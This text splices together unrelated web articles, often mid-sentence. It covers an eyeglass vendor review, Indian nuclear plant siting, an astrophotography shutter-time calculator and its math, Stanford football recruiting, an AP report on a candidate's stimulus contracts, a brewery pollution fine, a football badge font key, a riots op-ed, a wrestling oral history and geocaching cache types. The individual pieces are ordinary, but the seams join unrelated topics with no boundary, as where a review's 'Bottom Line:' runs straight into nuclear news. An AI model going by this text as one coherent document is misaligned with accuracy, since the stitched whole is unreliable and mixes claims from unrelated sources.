oddly, not for women or kids). Zenni also is the only one of the four vendors with a UV “blue blockers” lens coating option, designed to reduce irritation from staring at a smartphone, computer screen or TV for long hours. Pros: · Lowest frame prices · Hundreds of sub-$20 frames · Any prescription glasses can be turned into sunglasses · UV “blue blocker” lens option Cons: · Static virtual try-on (straight-on view only) · Dizzying array of lens options · No insurance information Bottom Line:India is exploring new locations, in addition to those already identified, to build nuclear power plants and meet its generation goal, a government official with direct knowledge of the matter said. (Source: Reuters) India is exploring new locations, in addition to those already identified, to build nuclear power plants and meet its generation goal, a government official with direct knowledge of the matter said. The nation has had to back out from a couple of sites in the past because of opposition from the local population and is now looking at regions, including those away from the sea, to supplement the existing list, the official said without elaborating. He asked not to be named as the plans aren’t public yet.India’s plans to expand its nuclear generation capacity more than ten-fold have been hampered by delays in construction due to protests by the local population and suppliers’ concern over a liability law. The law, which allows for claims from companies setting up the plant, has discouraged reactor suppliers from General Electric Co. to Toshiba Corp.-controlled Westinghouse Electric Co. Toshiba said last month unit Westinghouse’s plan to set up six reactors in India are contingent on a change in the nuclear liability law. It will no longer take up the risk of building new nuclear plants and instead specialize in supplying parts and reactor engineering, the company said following a $6.3 billion write-down.India is awaiting an official communication from Westinghouse on its plans in the country, the government official said, declining to comment further.Westinghouse had earlier expected to sell six AP1000 reactors of 1,150 megawatts each for a project in Andhra Pradesh by end of 2016. It is part of India’s plan to expand nuclear generation capacity to 63 gigawatts by 2032 from 5.8 gigawatts now. The project can still go ahead with Westinghouse supplying the reactor design and a different company taking up the construction, Sekhar Basu, secretary at India’s Department of Atomic Energy, said last month.When Ricky Burns travels to the lion’s den Saturday in Hidalgo, Texas, to take on Omar Figueroa Jr., he
For example, for a 20mm lens, we would want a shutter time of 25 seconds: Example: 500/20 = 25 second shutter The Goal: Minimize Star Trails The 500 Rule works relatively well for determining an approximate exposure time but it’s a little too simplified for what’s actually going on when photographing the stars, especially if we want to minimize star trailing or maximize light gathering. There are factors other than just focal length that affect the amount of star trailing in a photograph. These factors include sensor size and resolution as well as where the camera is pointed in the sky relative to the celestial equator (declination). Finally, our own personal tolerance for how much star trailing we can tolerate (pixel tolerance) is the final factor that affect how long of an exposure we should use. Let’s take a look at each of these factors and how they affect the result. Sensor size and resolution: The higher resolution the camera sensor, the more star trailing that will be apparent at the pixel level. Higher resolution cameras will require a shorter shutter time in order to minimize visible star trails at the pixel level. Star trails will be 2x longer (in pixels) for every 4x increase in resolution. For example, the 50 megapixel Canon 5DSR (Amazon / B&H) will show star trails that are twice as many pixels long as the lower resolution 12 megapixel Sony a7S (Amazon / B&H). That means that in order to capture an image with the same amount of star trailing at the pixel level, the 5DSR will need to use a one-stop shorter shutter time. The calculator above takes into account the resolution of your camera to make its recommendation. Photographers using very high resolution cameras might want to use a slightly higher pixel tolerance as a compromise so that adequate light is gathered. Declination: The closer the camera is pointed to the celestial equator, the more that star trailing will be apparent at the pixel level. Declination is the angular distance measurement of a point north or south of the celestial equator. (The point where we’re pointing our camera.) The farther from the celestial equator, the less star trailing that will be apparent at the pixel level. By default, the calculator is set to the equatorial declination (0°) in order to calculate for the worst-case scenario (a photograph of the celestial equator, where the most star trailing will be apparent). By contrast, a photograph of the sky at the maximum or minimum declination (-90° or +90°) has the “best case” scenario for star trailing because the apparent arc sweep of the stars is minimized near the celestial poles. For reference, the Milky Way Galactic center has a declination of about -30°. Now in order to accurately determine declination, we need to know where we are pointing our camera in the sky. My recommendation, if you want to find the exact declination of your composition, is to use a smartphone app. Declination can be found easily with the PhotoPills app, Stellarium, or Stellarium Mobile. Entering the declination into the calculator is particularly helpful for long focal length lenses (50mm+) and compositions near the north or south celestial poles (such as the Southern Cross or Polaris, the North Star). If you don’t know the declination and don’t have an app handy, you can just leave it at the default value of 0° which will minimize star trails to the fullest extent. Pixel Tolerance: The pixel tolerance is an arbitrary number of how many pixels of motion we choose to tolerate in our image. A pixel tolerance of 7 pixels means that the stars in the frame will move up to 7 pixels of distance for the recommended shutter speed. A larger pixel tolerance will yield longer star trails while a smaller pixel tolerance will yield shorter star trails. My personal tolerance for star trailing is about 7 pixels. For the most common cameras resolutions (roughly 16-24 megapixels) a 7 pixel star trail is just barely noticeable when viewed at a 100% on a typical display. At normal viewing distances, 7 pixel star trails should not be apparent. Photographers who want finer, more pinpoint-like stars can use a lower pixel tolerance, but at the expense of more noise in the exposure due to the reduced shutter time. (Less light = lower signal-to-noise ratio = more noise.) A pixel tolerance of about 3 pixels will usually result in nearly perfect pinpoint stars. Remember that if you’re making a panorama (or using an ultra high resolution camera) and don’t expect to view your 100+ megapixel result at 100% pixel level, you can use the extra resolution to “hide” your star trails. This means that panoramas can use a larger pixel tolerance in order to maximize image quality, should the photographer choose. If your astrophotos are having issues with too much noise, you may want to try a larger pixel tolerance of up to about 10 pixels in order to gather more total light for your exposure to improve signal-to-noise ratio. Ultimately, If you don’t know what pixel tolerance to use, I recommend leaving the pixel tolerance at the default of 7. Even More About the Calculator Nerd Alert: The content below is a little mathy and intended for those who don’t mind some algebra. You can use the calculator above with no prior knowledge of the math behind it but I think it’s very helpful to understand in order to get the most out of the calculator. I’m putting this information here for a few reasons: so others can understand how it works and so that you can check my math. If you notice anything funky, please let me know! I’ve tested the calculator fairly thoroughly and I’ve tried to break it in several ways and it seems pretty tolerant to extreme inputs. There are certainly other ways that this problem can be calculated to a finer degree of accuracy but I think that my model is pretty good. Ultimately, this problem is one of personal tolerance for star trailing in an astrophoto and for that reason, I think my calculator is great for nearly any case of untracked astrophotography (basically any night sky photos made on a regular tripod). The Model In order to calculate the best shutter speed based on a pixel tolerance, we need to figure out a way to model the geometry of sky. There are many different ways to do this but I’ve found that a simple way is to treat the night sky like a flat disk. We’re only looking at a portion of the sky at a time, with a device that creates a flat image, so a flat disk is a pretty good model in this case. We only need to look at one hemisphere of sky at a time in order to simplify the calculation. For even more simplicity, we’ll use the northern hemisphere for explaining the example but the calculation will work for either hemisphere. The northern hemisphere makes sense as an example because it can be drawn as a disk with Polaris, the North Star, at the center of the disk. The outer edge of the disk represents the celestial equator. Arc Sweep As the Earth turns, it appears is as if the disk is rotating about Polaris. If we shoot a photograph of the stars on the disk as it is rotating at a constant rate (the sidereal rate of rotation of the Earth: about 23.9344699 hours for a 360° rotation or 0.00417807456° per second), the stars closer to Polaris will visually sweep a shorter arc than the stars out near the edge of the disk. The length of the arc sweep of the stars at a certain position in the sky is calculated with this equation: ARC = 2piR(θ/360) Where R is equal to the distance of the star from Polaris and theta (θ) is the angle of rotation in degrees. The length of that arc (ARC) is the same as our pixel tolerance. If our pixel tolerance is 7 pixels in length, the arc length (ARC) is 7 pixels. Please note that all these calculations are shown in degrees rather than radians. Solving for θ gives: θ = (180ARC)/(piR) Modeling in Pixels Since we want to work in pixels as our form of distance measurement, we also need a way to define the distance, R, from Polaris to the star closest to the celestial equator in our frame, in terms of pixels. In order to do this, we need to know the resolution of our sensor and focal length of our lens. Once we know those details, we can calculate approximately how many pixels there would be from Polaris all the way to the celestial equator for our given field of view and camera resolution. The field of view (FOV°) of a camera lens, from corner to corner (diagonally) is defined as: FOV° = 2arctan(d/(2f)) Where d is the diagonal dimension of the camera sensor and f is the focal length of the lens. Similarly, we can approximate the diagonal resolution (DR) of the camera sensor with the Pythagorean Theorem: DR = sqrt((vertical resolution)^2 + (horizontal resolution)^2) With these two pieces of information, we know that there are DR pixels/FOV° = pixels/degree. Since there are 90° from celestial equator to the celestial pole (Polaris), the number of pixels from Pole to Equator (PE) is approximately: PE = 90°(DR/FOV°) Calculation for Where the Camera is Pointing Since we will only be pointing our camera at a single portion of the sky, the camera field of view can be simulated by placing a rectangular camera frame into our model. The center of the frame is pointed at some arbitrary point of declination (d). In order to encompass the worst case scenarios, the rectangular frame is assumed to be positioned such that diagonal corners are aligned to a meridian/longitudinal line. Ultimately, since the worst star trailing happens at declinations closest to zero, we’re concerned only with the point of the rectangular image frame that is closest to the celestial equator. The declination of that point (p) can be calculated based on the diagonal field of view (FOV°) of the lens: (p) = \|(d)\|-(FOV°/2) Making it Work for Both Hemispheres Since declination can be negative (for portions of the sky south of the celestial equator) we use the absolute value of the declination (d) where we are pointing the camera so the the calculation works for either hemisphere. It should be noted that if the camera field of view is large enough, or the declination is low enough such that the celestial equator is already in the frame, the value of (p) will be negative. Since the celestial equator will always have longest star trailing, we should knock this value (p) down to zero so that we’re calculating for the greatest star trails visible in the image. We can do this with an IF statement: If (p) <= 0, then (p) == 0, else (p) == (p) Ok, so now that we know the declination point in our image that’s closest to zero, we can finally calculate the distance R, from Polaris to that point, in pixels: R = PE((p)/90) Solving for Shutter Time Based on the Earth’s Rate of Rotation Finally, our optimal shutter time can be defined as the arc swept in degrees θ divided by the sidereal rate: shutter time = θ/sidereal rate Where the sidereal rate is the rate of rotation of the Earth (0.00417807456° per second) relative to the stars. All of the above gives us exactly what we need to solve for the optimal shutter time for our camera resolution, declination (d) and any given pixel tolerance (ARC). Conclusion This more advanced calculator give us a relatively precise tool to gauge a good shutter time for untracked astrophotography. There are a few things that the calculator does not take into account such as lens projection method and the distortion that accompanies most wide angle rectilinear lenses but real world results should be very close to the calculator’s estimates. By default, the recommendations output by this calculator will tend to be a bit shorter than the typical results from the “500 Rule” (for most the common cameras). But if you think that the shutter times given are shorter than you desire, you can always adjust the pixel tolerance to a larger number of pixels to yield a longer shutter time. Just keep in mind that your stars will look like trails with a length approximately the length of that pixel tolerance. The advantage of using a calculator like this is especially apparent when the photographer wants to minimize star trailing to within a very specific number of pixels. The biggest advantage of such a practice will be most apparent when using a fine pixel tolerance combined with stacking or loosening tolerance for panorama stitching to maximize the fine sharpness of the stars or maximize signal-to-noise ratio. Finally, there is an advantage of using this calculator when shooting with longer focal length lenses, especially those greater than 50mm, since the calculator can take advantage of the smaller arc sweep for photographs made of parts of the sky near the celestial poles (large absolute declinations). I hope you enjoyed this post! Try out the calculator and let me know what you think in the comments below. Disclosure We are a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for us to earn fees by linking to Amazon.com and affiliated sites. We are also a participant in the B&H Affiliate Program which also allows us to earn fees by linking to bhphotovideo.com. Learn Astrophotography Astrophotography 101 is completely free for everyone. All of the lessons are available on the Lonely Speck Astrophotography 101 page for you to access at any time. Enter your email and whenever we post a new lesson you’ll receive it in your inbox. We won’t spam you and your email will stay secure. Furthermore, updates will be sent out only periodically, usually less than once per week. Email * I have read and agree to the Privacy Policy. I wish to receive emails. Help us help you! Believe it or not, Lonely Speck is my full-time job. It’s been an amazing experience for us to see a community develop around learning astrophotography and we’re so happy to be a small part of it. I have learned that amazing things happen when you ask for help so remember that we are always here for you. If you have any questions about photography or just want to share a story, contact us! If you find the articles here helpful, consider helping us out with a donation. Thanks so much for being a part of our astrophotography adventure. -IanSTANFORD, Calif. -- If the NCAA moves forward with an early signing period in college football, it will be staunchly opposed by Stanford coach David Shaw. "I might be alone in this, I think it's terrible," Shaw said following the Cardinal's spring practice Saturday. "I think it's terrible. The reason [for an early signing period], in my opinion, is coaches don't like when kids commit and switch late." Susan Peal, NCAA associate director of operations, said earlier this week that the continued acceleration of recruiting has led the Conference Commissioners Association to consider an earlier date to supplement the long-existing date in February, similar to the structure for basketball and other sports. Shaw, though, isn't convinced such a change will prevent recruits from switching commitments. "What's going to happen is, if a kid wants to change his mind late after the early signing period, he's going to appeal and that appeal is going to go through because the committees that decide those appeals, they always give in towards the student-athlete," Shaw said. "So you have a kid that might be 16 going on 17 that commits and then really has a chance to think about it and changes his mind and we're going to try and hold him to it. "On top of that -- and I'll be honest here, which is rare for a football coach in a setting like this -- but we have a lot of kids that don't know if they're going to get into school until after that early signing day," Shaw said. "So we're going to punish the academic schools just because coaches don't want a kid to switch their commitment? "People can make whatever argument they want, it boils down to that.... Coaches don't want to keep recruiting an entire class all year." Three players in Stanford's most recent recruiting class made verbal pledges to other major programs before their senior years. The trio of offensive linemen -- Casey Tucker (USC), Reilly Gibbons (Miami) and Jesse Burkett (Vanderbilt) -- all settled on the Cardinal in late January or early February. "This is all driven by Reilly," Shannon Gibbons, Reilly's father, told the Tampa Bay Times in February. "He's a young kid and he's matured during this process and he has a pretty good idea what he wants and how he wants to get there." Stanford made a point to recognize the process the three players went through with a post on its official football Facebook page on Feb. 19 that, in part, read: "Stanford remained patient and persistent in our recruiting of these three linemen, and we are thankful that these families kept open minds and lines of communication with us. The full value proposition and opportunities of Stanford came into focus, and each young man delivered the difficult work to gain admission to the University." The concept of an early signing signing period would create challenges at Stanford that other schools would be immune to due to its strict admissions process. Shaw said that fewer than half of the program's recent 20-man recruiting class was admitted to the university before November, and the final admission didn't occur until the weekend before signing day. "That's a kid we never would have gotten because someone would have pressured him into forcing him to sign some place because they say, 'You don't know if you're getting into Stanford so you got to sign with us,' " Shaw said. "I don't think these kids should be pressured into decisions, and that's what this is all about."Okla. GOP candidate Mullin got $370K in stimulus BY ASSOCIATED PRESS OKLAHOMA CITY (AP) – A Republican congressional candidate who argues the federal government should rein in spending was awarded around $370,000 in federal stimulus money distributed through a pair of Oklahoma Indian tribes, records show.Companies owned by Markwayne Mullin, the GOP nominee for a U.S. House seat in eastern Oklahoma, received the money under contracts with the Cherokee and Muscogee (Creek) nations, according to documents posted on a government website created to track recovery funds.Records show some of the awards were made after Mullin, a Cherokee Nation citizen, entered the race to replace Democratic Rep. Dan Boren, who announced his retirement in 2011.Mullin declined to answer questions about the contracts. His campaign released a statement in which Mullin criticized the American Recovery and Reinvestment Act of 2009 as a “horrible waste of tax dollars” but defended his company’s acceptance of federal dollars.“Mullin Plumbing is a plumbing business. When someone hires us to do a job, we don’t ask them where the money comes from,” the statement reads. “Plumbing is plumbing. These projects were Cherokee Nation projects, and our contract was with the Cherokee Nation. We just performed the services we were hired to do and moved on to the next job, like always.”But Mullin’s opponent in November’s election, Democrat Rob Wallace, said Mullin was trying to have it both ways.“To take as strong a stand against what he calls wasteful government spending as he has taken, and then to be taking stimulus funds for his business doesn’t actually seem to be consistent with one another,” Wallace said. “It does seem to be hypocritical.”Mullin, 35, owns a number of Tulsa-area businesses, including Mullin Plumbing, whose red service trucks are a staple on city streets and whose local television commercials give the firm a high profile. His website highlights how he turned the firm around after taking it over from his ailing father more than 15 years ago.Since he hit the campaign trail in 2011, Mullin has been a fierce and unyielding critic of federal spending and what he describes as an increasing role of the federal government in the lives of everyday citizens.“Government needs to have a limited role in our lives. We can take care of ourselves,” Mullin told the AP after winning the GOP primary in the race to replace Boren in eastern Oklahoma’s 2nd Congressional District.Records show Mullin Plumbing of Broken Arrow had five separate contracts totaling $335,000 for plumbing work awarded by the CN on two separate projects to construct affordable housing in eastern Oklahoma.According to data posted at www.recovery.gov, Mullin Plumbing was awarded $83,000 as part of a $5 million project to construct energy efficient, affordable homes in Sequoyah and Adair counties in northeast Oklahoma. The company also was awarded four separate contracts totaling about $251,000 as part of a separate, $12 million CN project to modernize low-income rental apartments and privately owned homes for CN citizens.A Mullin Plumbing subsidiary, Mullin Pumping, also was awarded a $34,700 contract on a separate $5.6 million housing project by the MCN.All of the projects were funded by federal stimulus money administered by the Department of Housing and Urban Development. The projects are all completed, and all of the vendors have been paid, said Edward Pound, a spokesman for the Recovery Accountability and Transparency Board.Although the federal agency provided some accounting on the projects, the individual tribes were responsible for soliciting and awarding vendors, Pound said.“The money would have gone through (HUD) directly to the tribe,” he said. “The tribe would pick the vendor, (but) a particular agency might do some oversight.”The CN solicits bids through its website and applies tribal law, policy and federal funding requirements when awarding bids, CN Secretary of State Charles Head said. The tribe generally uses a formal sealed bid process for major purchases and then evaluates bids with the specific criteria needed to fulfill the project.Head said the tribe also follows internal policies that allow Indian-owned businesses to receive preferential treatment in the bid process.The CN has contributed $2,500 to Wallace, according to Federal Election Commission records.Mullin, of Westville, captured 57 percent of the vote in the Aug. 28 GOP primary runoff over three-term state Rep. George Faught of Muskogee.This article is over 2 years old Company pleads guilty to causing large quantities of sewage fungus in a stream close to homes in Alton, according to the ENDS Report A brewery has been fined £100,000 for polluting a tributary of the Thames in Hampshire. Molson Coors Brewery (UK) Ltd was sentenced by Basingstoke Magistrates Court on 17 March after pleaded guilty to two offences: causing an illegal water discharge activity and breaching its environmental permit. It was fined £100,000 with £31,586 costs for breaching the Environmental Permitting (England and Wales) Regulations 2010. The Environment Agency (EA) received reports of fungus in a stream outside a residential development in Alton, Hampshire. EA officers traced the pollution to Molson Coors’ Alton brewery. Trade effluent was seen discharging into a culvert of the Lasham drain, which carries surface water runoff in the River Wey, through cracks and defects in the culvert chamber. The company had failed to respond to the regular monitoring and visual inspections it was obliged to carry out as a requirement of its environmental permit. This monitoring clearly indicated that there was a serious problem in the Lasham drain. The presence of large quantities of sewage fungus indicated that very high nutrient organic matter was entering the Lasham drain. The court heard that the drainage problems that caused the pollution led to a significant reduction in the water’s biological quality at Lasham drain and downstream in the Wey North, compared with upstream. The court heard that there had been gutters on the building known as the “boiler room” located next to a trade effluent chamber that ran directly to the Lasham drain. The gutters had been removed when the building was extended and the chamber was converted from a storm water drain to a trade waste effluent drain from this section of the building. When the alterations were made the contractors had used a liner which did not seal the chamber to divert the trade effluent, resulting in not completely blocking the existing pipe and pathway to the Lasham drain. In a statement, Molson Coors said it was serious about environmental compliance and regretted the “isolated incident”. “We wholly respect the magistrates’ decision and recognise this matter is now closed. “Molson Coors acknowledges it was a contributor to an already existing problem and we will continue to watch with interest as the Environment Agency pursues its investigation into other third parties’ involvement in this case.”English Football Club Badges EnglishFootballClubBadges.ttf Note of the author Premier League Arsenal = A Aston Villa - V Bournemouth - B Chelsea - C Crystal Palace - c Everton - E Leicester City - l Liverpool - L Manchester City - m Manchester United - M Newcastle United - N Norwich City - n Southampton - S Stoke City - s Sunderland - 0 Swansea City -1 Tottenham Hotspur - T Watford - w West Bromwich Albion - a West Ham United - W The Championship Birmingham City - b Blackburn Rovers - R Bolton Wanderers - 2 Brentford - 3 Brighton & Hove Albion - 4 Bristol City - 5 Burnley - 6 Cardiff City - 7 Charlton Athletic - 8 Derby County - D Fulham - F Huddersfield Town - h Hull City - H Ipswich Town - I Leeds United - U Middlesbrough - 9 MK Dons - K Nottingham Forest - f Preston North End - P Queens Park Rangers - Q Reading - r Rotherham United - u Sheffield Wednesday -! Wolverhampton Wanderers - League One Barnsley - # Blackpool - $ Bradford City - % Burton Albion - & Bury - Chesterfield = ( Colchester United = ) Coventry City - * Crewe Alexandra - + Doncaster Rovers - d Fleetwood Town - t Gillingham - G Millwall -, Oldham Athletic - O Peterborough United - P Port Vale - v Rochdale - - Scunthorpe United - i Sheffield United -. Shrewsbury Town - / Southend United - : More... All 92 English Fooball Club badges(season 2015/16).Premier LeagueArsenal = AAston Villa - VBournemouth - BChelsea - CCrystal Palace - cEverton - ELeicester City - lLiverpool - LManchester City - mManchester United - MNewcastle United - NNorwich City - nSouthampton - SStoke City - sSunderland - 0Swansea City -1Tottenham Hotspur - TWatford - wWest Bromwich Albion - aWest Ham United - WThe ChampionshipBirmingham City - bBlackburn Rovers - RBolton Wanderers - 2Brentford - 3Brighton & Hove Albion - 4Bristol City - 5Burnley - 6Cardiff City - 7Charlton Athletic - 8Derby County - DFulham - FHuddersfield Town - hHull City - HIpswich Town - ILeeds United - UMiddlesbrough - 9MK Dons - KNottingham Forest - fPreston North End - PQueens Park Rangers - QReading - rRotherham United - uSheffield Wednesday -!Wolverhampton Wanderers - League OneBarnsley - #Blackpool - $Bradford City - %Burton Albion - &Bury - Chesterfield = (Colchester United = )Coventry City - *Crewe Alexandra - +Doncaster Rovers - dFleetwood Town - tGillingham - GMillwall -,Oldham Athletic - OPeterborough United - PPort Vale - vRochdale - -Scunthorpe United - iSheffield United -.Shrewsbury Town - /Southend United - : First seen on DaFont: August 10, 2015A protester throws a tear-gas canister back toward riot police after a 10 p.m. curfew went into effect in Baltimore in the wake of rioting following the funeral of Freddie Gray. (Photo: David Goldman/AP) This August marks the 50th anniversary of a defining moment from the 1960s, the Watts riots that left 34 dead and an area of South Central Los Angeles smoldering and in ruins. Half a century later — and 23 years after the riots following the Rodney King-beating verdict — the persistence of police brutality, racism, poverty and economic neglect in America’s inner cities has erupted afresh as a topic riveting the nation. Although we live in the age of Obama, the latest round of social unrest shows how economic conditions for African-Americans have endured largely unchanged throughout his presidency. Inadequate housing, crumbling public schools and abject poverty — all remain problems in cities like Baltimore that have lost their economic base. Nationally, the Bureau of Justice Statistics estimates that one out of every three African-American men will eventually be put in jail, and 27 percent of African-Americans lived in poverty in 2013 — nearly triple the white poverty rate. For all of the racial progress that has been made in the last half-century, the riots in Baltimore remind us that the roots of black-white inequality reach so deep not even seven years of an African-American in the Oval Office can uproot them. Obama has ushered in some substantial, progressive policy changes since he took office in 2009. From reducing the number of uninsured Americans to reining in Wall Street and curbing friction with Cuba, he has enacted sweeping reforms with repercussions that are likely to be hotly debated long after his final day in the White House. Yet such reforms have not targeted the tide of problems in long-suffering communities such as West Baltimore. Nor has the racial progress in political representation that’s been made over the past 50 years, during which African-Americans have gained political power in ways that would likely have surprised the civil rights activists of the 1960s, sufficed. In addition to electing an African-American president, the nation has seen the appointment of its first two African-American attorneys general. In Baltimore, where the riots occurred this week, the mayor and the police chief are both African-American. Congress has 48 members who are African-American, the most in history — an achievement made possible by the 1965 Voting Rights Act, which the Supreme Court recently diluted. Demonstrators push against a police car after rioting erupted in a crowd of 1,500 in the Watts section of Los Angeles, August 12, 1965. (AP) And the situation in 2015 is not as bad as it was in 1965, of course. The Watts riots lasted days; the destruction was so widespread that the Los Angeles Times described Watts as “a holocaust of rubble and ruins.” By many accounts, Baltimore’s police force has treated young, poor African-American men harshly, but the scale of brutality cannot match that of L.A. Police Chief William Parker’s force in the mid-’60s. Parker called rioters “monkeys in a zoo,” and he instilled a racist culture in his department, where racial slurs were commonplace. The Watts riots failed to lead to social and economic improvements in African-American urban communities. In 1968, the murder of Martin Luther King Jr. touched off dozens of riots in America’s cities. Journalist Clay Risen writes in A Nation on Fire: America in the Wake of the King Assassination that, above all, “The ghetto frustrations that led to civil disorder were … a product of long-standing, deep-seated fissures — between blacks and employers, shopkeepers and customers, police and civilians, landlords and tenants.”THE ROCKERS: Why They Never Won the Tag Belts, Despite Actually Winning Them The Rockers (Shawn Michaels and Marty Jannetty) are often considered the greatest WWE tag team to have never won a tag team championship while they were in the company. Despite that, they did cleanly beat the World Tag Team Champions in a televised title match. The Rockers defeated the Hart Foundation (Bret Hart and Jim Neidhart) on Saturday Night’s Main Event on October 30th, 1990. The match was a ‘Best 2-out-of-3 Falls’ match, but the first victim was a ring rope. The four men did their best to work the match without the rope, but Vince McMahon decided that the title change couldn’t stand. He didn’t want the lasting memory of The Rocker’s first title win to be overshadowed by the rope breaking. So McMahon erased the win from the record books and planned for the Rockers to win the titles at a later date, but it would never happen. That was their only taste of gold. The members of both teams explain why The Rockers never won the title… SHAWN MICHAELS: “WWE had no [previous] intentions of putting the belts on The Rockers. But after awhile me and Marty were really getting over. So they said, ‘You know, maybe it’s time…’” MARTY JANNETTY: “The Road Warriors’ success had changed tag teams to big, strong pummelling teams. Shawn and I made the change to high flying smaller guys. With our high flying, fast pace and high energy, we were able to create something special. When we first got to the WWE, the next closest guys in size were twenty pounds heavier. We were like midgets in there. Davey Boy Smith used to call out to us, ‘Hey midgets – you’re up next!’” BRET HART: “With the tag belts, Jim [Neidhart] and I thought we had a rock-solid position in the company, but then Vince called us to his office and told me he had decided to break up the Hart Foundation and push me as a singles wrestler. His plan was that we would drop the belts to The Rockers at the next TVs, at which they’d also be taping ‘Saturday Night’s Main Event’. Afterwards, Jim did his best to appear upbeat, but it was easy to see he was devastated…” MARTY JANNETTY: “A big thing we were told [by WWE management] was, a lot of people need the belts to get over, but we were always told we didn’t need them. Of course, we always thought that if we got it, wouldn’t that raise us even higher?…” BRET HART: “It was a match that I thought was going to be one of my greatest matches. It was one of my worst. And it’s much worse than even what it appeared. I had a lot of ideas in my head…we’d all put a lot of thought into this match. All four of us wanted it to be the best match we ever had. We wanted to blow everyone away. Most of the other wrestlers in the dressing room, instead of going back to their hotel rooms after their matches, stayed around to watch us. I remember Earthquake and guys like that saying, ‘I’m staying to watch your match.’ The bigger guys loved our matches…” JIM NEIDHART: “It was a 2 out of 3 falls match and supposedly [The Rockers] were going to be champions and …blah, blah, blah. But as we hadn’t gone to the first fall yet – the bottom rope breaks. I said, ‘Holy jeez’, you know, ‘God…’” BRET HART: “It was Neidhart that took the turnbuckle out. He may have done it on purpose. I know I had nothing to do with that. Jim hit the turnbuckle front-on and popped it off…” SHAWN MICHAELS: “I can remember Bret having me or Marty, one of us in a chin-lock and he said, ‘We’re just gonna stay here so they can fix it and we can edit it [on video later]’. But the ref’ was frozen – just… [rabbit in headlights look] We were like, [stage whisper] ‘Fix the rope..!’” BRET HART: “The match was taped and could easily be edited [later], but the ref, Freddie Sparta, couldn’t figure out that he needed to temporarily stop the bout and fix the rope, even though I explained it to him…” SHAWN MICHAELS: “I remember Bret, at first very calmly, telling him step by step, ‘Just do this…’ Then finally, both of us were like, ‘FUCKING FIX THE ROPE!'” BRET HART: “It was a real disaster after that because, as you can imagine, we couldn’t DO anything without a top rope – I don’t think very many wrestlers can. Both teams needed the rope to do our best spots…” JIM NEIDHART: “Then the SECOND rope breaks! Now we just have the one rope…” BRET HART: “Confusion took over and the match went steadily downhill and turned into an embarrassing night of miscues. I remember being really flustered in there – and I don’t [usually] get flustered…I just wanted to stand in the middle of the ring and say, I give up…I can’t fix or salvage anything out of this…” SHAWN MICHAELS: “So we continue to have this ‘match’ with no top rope. We finish the match…The Rockers win the championships, The Rockers’ first time – we had the belts. You’re supposed to be overjoyed, but it was just… [Mimes half-hearted celebration] it was just…TRASH. Very anti-climatic…” Related: The Top 10 Failed Tag Team Remakes and Rehashes in Wrestling History BRET HART: “I felt sick when it was over. I hated it. It was one of the worst matches we ever had – as far as what it should have been. I hoped and prayed it would never air…” SHAWN MICHAELS: “Two or three days later Vince calls up…” MARTY JANNETTY: “Vince said, ‘We don’t wanna air that. We don’t wanna air a match with no bottom rope.’ He just nullified everything…” JIM NEIDHART: “Vince threw it out [laughs]. The Rockers never did get the belts…” BRET HART: “To me…it was just
are harder to reach. A granola bar in a geocache in England. Even if sealed, food is not allowed in geocaches, as it is considered unhygienic and can attract animals. Dangerous or illegal items, weapons, food and drugs are not allowed and are specifically against the rules of most geocache listing sites. If a geocache has been vandalized or stolen, it is said to have been "muggled". The former term plays off the fact that those not familiar with geocaching are called muggles, a term borrowed from the Harry Potter series of books which was rising in popularity at the same time geocaching got its start.[14] Variations [ edit ] Traditional geocaching gave birth to GeoCaching – an active urban game of the Encounter project. The game is quite similar to geocaching but has time limitations and hints. Geocaches vary in size, difficulty, and location. Simple caches that are placed near a roadside are often called "drive-bys", "park 'n grabs" (PNGs), or "cache and dash". Geocaches may also be complex, involving lengthy searches, significant travel, or use of specialist equipment such as SCUBA diving, kayaking, or abseiling. Different geocaching websites list different variations per their own policies. Container sizes range from "nanos", particularly magnetic nanos, which can be smaller than the tip of a finger and have only enough room to store the log sheet, to 20-liter (5 gallon) buckets or even larger containers, such as entire trucks.[17] The most common cache containers in rural areas are lunch-box-sized plastic storage containers or surplus military ammunition cans. Ammo cans are considered the gold standard of containers because they are very sturdy, waterproof, animal- and fire-resistant, relatively cheap, and have plenty of room for trade items. Smaller containers are more common in urban areas because they can be more easily hidden. Caches can be grouped in three categories – with and without a paper log, and events. The following types do not have paper logs. Geocache types [ edit ] A BIT Cache is a laminated card with a QR code, similar to Munzee. The BIT Cache also contains a URL and a password, for logging purposes. They are listed exclusively on opencaching.us.[18][19][20] Virtual caches are coordinates for a location, which has some other described object. Validation for finding a virtual cache generally requires one to email the cache hider with information such as a date or a name on a plaque, or to post a picture of oneself at the site with GPS receiver in hand.[21] New virtual caches are no longer allowed by Groundspeak,[22] but they remain supported by other sites.[19] The Groundspeak website no longer lists new caches without a physical container, including virtual and webcam caches; however, older caches of these types have been grandfathered in (except for locationless/reverse, which are completely archived). On August 24, 2017, Groundspeak announced "Virtual Rewards", allowing 4000 new virtual caches to be placed during the following year.[23] Earthcaches are one of the two exceptions to the no-container rule; they are caches in which players must answer geological questions to complete the cache. The other exception is for event caches; for an event to qualify, it must be specifically or mainly for geocachers, and must have a minimum duration dependent upon its category (CITO, regular, Mega, or Giga).[24] Attendees of event caches can log that they 'attended', which will increment their number of found caches. Groundspeak created a waymarking website to handle all other non-physical caches.[25] Earthcaches are virtual caches that are organized by the Geological Society of America. The cacher usually has to perform a task which teaches him/her an educational lesson about the earth science of the cache area.[21] Locationless/Reverse caches are similar to a scavenger hunt. A description is given for something to find, such as a one-room schoolhouse, and the finder locates an example of this object. The finder records the location using their GPS receiver and often takes a picture at the location showing the named object and his or her GPS receiver. Typically others are not allowed to log that same location as a find. Webcam caches are virtual caches whose coordinates have a public webcam. The finder is often required to capture their image from the webcam for verification of the find.[21] New webcam caches are no longer allowed by Groundspeak,[22] but they remain supported by other sites.[19] Finally, a USB Cache or Dead Drop cache[19] location has a USB drive embedded (with permission) into walls or other structures. The cache is retrieved by connecting a device that has a USB port and that is able to read standard text files. The following types have logs, at least at the final location. A Multi-cache consists of multiple discoveries of one or more intermediate points containing the coordinates for the next stage; the final stage contains the log book. An Offset cache is a multi-cache in which the initial coordinates are for a location containing information that encodes the final cache coordinates. An example would be to direct the finder to a plaque where the digits of a date on the plaque correspond to coordinates of the final cache.[21] A Night Cache is multi-stage and intended to be found at night by following a series of reflectors with a flashlight to the final cache location.[26] A Chirp Cache is a Garmin-created innovative advance on multi caches using new wireless beacon technology. The Chirp stores hints, multicache coordinates, counts visitors and confirms the cache is nearby.[27][28] These caches were fully supported at OpenCaching.com, but they caused considerable discussion and some controversy at Groundspeak, where they were given a new "attribute".[21][29] A 